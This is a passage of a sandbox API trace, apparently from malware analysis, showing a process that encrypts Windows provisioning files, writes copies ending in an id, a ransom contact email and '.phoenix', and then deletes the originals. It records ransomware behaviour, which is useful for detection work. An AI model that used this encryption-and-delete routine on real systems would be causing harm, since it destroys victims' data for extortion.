	[0256.922] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.922] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.922] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.922] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.923] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151040) returned 1
	[0256.923] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.923] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.924] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0256.924] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.925] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0256.925] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.925] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.925] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.925] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.925] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.925] CloseHandle (hObject=0x2d0) returned 1
	[0256.925] CloseHandle (hObject=0x2c0) returned 1
	[0256.925] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.926] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.926] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=739) returned 1
	[0256.926] CloseHandle (hObject=0x2c0) returned 1
	[0256.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.927] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.927] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.927] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.927] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0256.927] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.927] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2e3, lpOverlapped=0x0) returned 1
	[0256.930] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0) returned 1
	[0256.930] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2f0, lpOverlapped=0x0) returned 1
	[0256.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0256.931] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.931] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0256.931] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.931] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0256.931] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.931] CloseHandle (hObject=0x2c0) returned 1
	[0256.931] CloseHandle (hObject=0x2d0) returned 1
	[0256.931] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.932] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.932] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0256.932] CloseHandle (hObject=0x2d0) returned 1
	[0256.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.932] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.933] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.933] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.933] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0256.933] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.933] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0256.934] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0256.934] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.935] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0256.935] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.935] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.935] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0256.935] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.935] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.935] CloseHandle (hObject=0x2d0) returned 1
	[0256.936] CloseHandle (hObject=0x2c0) returned 1
	[0256.936] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\650__Connections_Cellular_Shebang - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\650__connections_cellular_shebang - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.936] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.937] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0256.937] CloseHandle (hObject=0x2c0) returned 1
	[0256.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.937] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.937] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.937] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.937] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.938] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0256.938] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.938] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0256.939] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0256.939] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.940] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0256.940] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.940] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.940] CryptDestroyKey (hKey=0x151200) returned 1
	[0256.940] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.940] CryptDestroyKey (hKey=0x151340) returned 1
	[0256.940] CloseHandle (hObject=0x2c0) returned 1
	[0256.940] CloseHandle (hObject=0x2d0) returned 1
	[0256.940] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.944] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.944] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.945] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=705) returned 1
	[0256.945] CloseHandle (hObject=0x2d0) returned 1
	[0256.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.946] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.946] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.946] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0256.946] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
